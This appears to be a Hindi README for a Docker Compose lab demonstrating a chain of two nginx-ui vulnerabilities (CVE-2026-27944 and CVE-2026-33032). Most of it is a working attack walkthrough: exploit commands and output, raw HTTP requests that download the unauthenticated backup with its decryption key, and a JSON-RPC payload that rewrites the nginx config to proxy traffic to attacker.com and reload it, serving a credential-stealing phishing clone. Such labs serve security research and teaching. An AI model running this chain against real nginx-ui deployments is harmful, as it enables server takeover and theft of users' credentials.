
Docker Compose सेटअप जो nginx-ui की अनुपस्थित प्रमाणीकरण भेद्यता को प्रदर्शित करता है
अस्वीकरण: यह रिपॉजिटरी केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए है। यहां प्रदर्शित सभी तकनीकों का उपयोग केवल उन सिस्टमों के विरुद्ध किया जाना चाहिए जिनके स्वामी आप हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। लेखक दुरुपयोग के लिए कोई जिम्मेदारी स्वीकार नहीं करते हैं। बिना प्राधिकरण के किसी भी सिस्टम के विरुद्ध इसे न चलाएं।
nginx-ui v2.3.1 के विरुद्ध दो-CVE श्रृंखला प्रदर्शित करने वाला एक स्व-निहित Docker Compose लैब, जो शून्य पूर्व ज्ञान के साथ पूर्ण nginx अधिग्रहण प्राप्त करता है — कोई उपयोगकर्ता नाम नहीं, कोई पासवर्ड नहीं, कोई टोकन नहीं।
GET /api/backup को किसी प्रमाणीकरण की आवश्यकता नहीं है। एंडपॉइंट nginx-ui इंस्टॉलेशन का एक पूर्ण एन्क्रिप्टेड बैकअप लौटाता है — जिसमें app.ini भी शामिल है — और AES-256-CBC डिक्रिप्शन कुंजी और IV को प्लेनटेक्स्ट में प्रतिक्रिया हेडर में भेजता है:
X-Backup-Security: <base64_key>:<base64_iv>
स्रोत से (api/backup/router.go):
r.GET("/backup", CreateBackup) // ❌ कोई मिडलवेयर नहीं
r.POST("/restore", middleware.EncryptedForm(), RestoreBackup)
बैकअप को डिक्रिप्ट करने पर app.ini प्राप्त होता है, जिसमें चरण 2 के लिए आवश्यक [node] Secret होता है।
| CVE | CVE-2026-27944 (GHSA-g9w5-qffc-6762) |
| CVSS | 9.8 क्रिटिकल |
| प्रभावित | nginx-ui < 2.3.2 |
| इसमें ठीक किया गया | nginx-ui 2.3.3 |
nginx-ui v2.3.x ने 12 nginx प्रबंधन टूल उजागर करने वाला एक मॉडल कॉन्टेक्स्ट प्रोटोकॉल (MCP) इंटरफ़ेस जोड़ा। बग mcp/router.go में एक एकल लापता मिडलवेयर कॉल है:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...) // ❌ AuthRequired() गायब है
नोड सीक्रेट के माध्यम से प्राप्त sessionId के साथ, एक हमलावर बिना किसी उपयोगकर्ता क्रेडेंशियल के /mcp_message पर POST कर सकता है और किसी भी विशेषाधिकार प्राप्त टूल को लागू कर सकता है — जिसमें nginx_config_modify और reload_nginx शामिल हैं।
| CVE | CVE-2026-33032 |
| उपनाम | MCPwn (प्लूटो सिक्योरिटी) |
| CVSS | 9.8 क्रिटिकल |
| प्रभावित | nginx-ui ≤ 2.3.3 |
| इसमें ठीक किया गया | nginx-ui 2.3.4 |
┌──────────────────────────────────────────────────────────┐
│ ब्राउज़र │
│ http://localhost:8080 ──► nginx_ui (:80) │
│ │ │
│ हमलावर ▼ │
│ http://localhost:9000 ──► nginx_ui (:9000) असुरक्षित │
│ (कोई क्रेडेंशियल नहीं) uozi/nginx-ui:v2.3.1 │
│ │
│ ┌─────────────────────────┐ │
│ │ webapp (हरा) │ वैध │
│ │ proxy_pass डिफ़ॉल्ट │ लॉगिन फॉर्म │
│ └─────────────────────────┘ │
│ ┌─────────────────────────┐ │
│ │ malicious_site (लाल) │ फ़िशिंग क्लोन │
│ │ proxy_pass हमले के बाद │ क्रेड्स चुराता है │
│ └─────────────────────────┘ │
└──────────────────────────────────────────────────────────┘
nginx-ui अपना स्वयं का nginx इंस्टेंस बंडल करता है। जब एक्सप्लॉइट MCP के माध्यम से reload_nginx को कॉल करता है, तो यह उसी nginx को रीलोड करता है जो :8080 पर ट्रैफ़िक परोस रहा है — किसी होस्ट एक्सेस की आवश्यकता नहीं है।
आवश्यकताएँ: Docker + Docker Compose + Python 3.10+
git clone <repo-url>
cd nginx-ui-vuln-lab
docker compose up -d
| URL | |
|---|---|
http://localhost:8080 | पीड़ित साइट — हरा (वैध) |
http://localhost:9000 | nginx-ui एडमिन पैनल |
pip install -r exploit/requirements.txt
python3 exploit/exploit.py --url http://localhost:9000
स्क्रिप्ट बिना किसी पूर्व क्रेडेंशियल के दोनों CVE को जोड़ती है:
==============================================================
CVE-2026-27944 + CVE-2026-33032 — nginx-ui शून्य-क्रेड RCE
लक्ष्य : http://localhost:9000
==============================================================
[*] CVE-2026-27944 — बैकअप डाउनलोड कर रहा है (कोई प्रमाणीकरण नहीं)
[+] हेडर से AES कुंजी+IV: kW3pCR7RLawHFVeF...:oTr+K3Bd...
[+] नोड सीक्रेट निकाला गया: 605f228e-2480-49ec-8dd2-045d8d8a073f
[*] CVE-2026-33032 — अप्रमाणित MCP सत्र खोल रहा है (GET /mcp)
[+] sessionId: ee83906e-ee26-4d65-83f8-91d62b00770a
[*] रिकॉन — वर्तमान कॉन्फ़िग पढ़ रहा है
[+] वर्तमान: proxy_pass http://webapp:80;
[*] POST /mcp_message के माध्यम से default.conf अधिलेखित कर रहा है (कोई प्रमाणीकरण नहीं)
[+] नया: proxy_pass http://malicious_site:80;
[*] POST /mcp_message के माध्यम से nginx रीलोड कर रहा है (कोई प्रमाणीकरण नहीं)
[+] nginx रीलोड किया गया — कॉन्फ़िग लाइव है
[!] हमला पूर्ण।
http://localhost:8080/ पर पीड़ितों को अब फ़िशिंग पेज परोसा जा रहा है।
कैप्चर किए गए क्रेडेंशियल देखें: http://localhost:8080/?debug=1
एक्सप्लॉइट के बाद, http://localhost:8080 हरे वैध पेज से लाल फ़िशिंग क्लोन पर स्विच हो जाता है — उसी URL पर, पीड़ित को कोई संकेत नहीं मिलता।
हमलावर पैनल प्रकट करने और वास्तविक समय में कैप्चर किए गए क्रेडेंशियल देखने के लिए http://localhost:8080/?debug=1 खोलें।
python3 exploit/exploit.py --url http://localhost:9000 --reset
मूल कॉन्फ़िग को पुनर्स्थापित करने और nginx को रीलोड करने के लिए उसी CVE श्रृंखला का उपयोग करता है।
GET /api/backup HTTP/1.1
Host: target:9000
प्रतिक्रिया:
HTTP/1.1 200 OK
X-Backup-Security: <base64_key>:<base64_iv>
Content-Type: application/zip
प्रदान की गई कुंजी/IV के साथ ज़िप डिक्रिप्ट करें → app.ini निकालें → [node] Secret पढ़ें।
अनुरोध 1 — SSE सत्र खोलें (नोड सीक्रेट, कोई उपयोगकर्ता प्रमाणीकरण नहीं):
GET /mcp?node_secret=<uuid>
SSE स्ट्रीम sessionId के साथ प्रतिक्रिया देती है।
अनुरोध 2+ — टूल लागू करें (बिल्कुल कोई प्रमाणीकरण नहीं):
POST /mcp_message?sessionId=<uuid>
Content-Type: application/json
{
"jsonrpc": "2.0", "id": 1, "method": "tools/call",
"params": {
"name": "nginx_config_modify",
"arguments": {
"relative_path": "default.conf",
"content": "server { location / { proxy_pass http://attacker.com; } }",
"sync_overwrite": false
}
}
}
कोई Authorization हेडर नहीं। कोई कुकी नहीं। /mcp_message रूट से AuthRequired() बस अनुपस्थित है।
| टूल | प्रभाव |
|---|---|
nginx_config_modify | किसी भी कॉन्फ़िग फ़ाइल को अधिलेखित करें |
nginx_config_add | नई कॉन्फ़िग फ़ाइलें बनाएं |
nginx_config_get | कोई भी कॉन्फ़िग फ़ाइल पढ़ें |
nginx_config_list | सभी कॉन्फ़िग सूचीबद्ध करें |
nginx_config_enable/disable | साइट कॉन्फ़िग टॉगल करें |
nginx_config_rename | कॉन्फ़िग फ़ाइलें स्थानांतरित/नाम बदलें |
nginx_config_mkdir | निर्देशिकाएँ बनाएं |
nginx_config_history | परिवर्तन इतिहास देखें |
nginx_config_base_path | कॉन्फ़िग रूट पथ प्रकट करें |
nginx_status | nginx स्थिति जांचें |
reload_nginx | कॉन्फ़िग परिवर्तन लाइव लागू करें |
restart_nginx | पूर्ण nginx पुनरारंभ |
app.ini में एक गैर-रिक्त [node] IPWhiteList सेट करें/etc/nginx/conf.d/ की निगरानी करें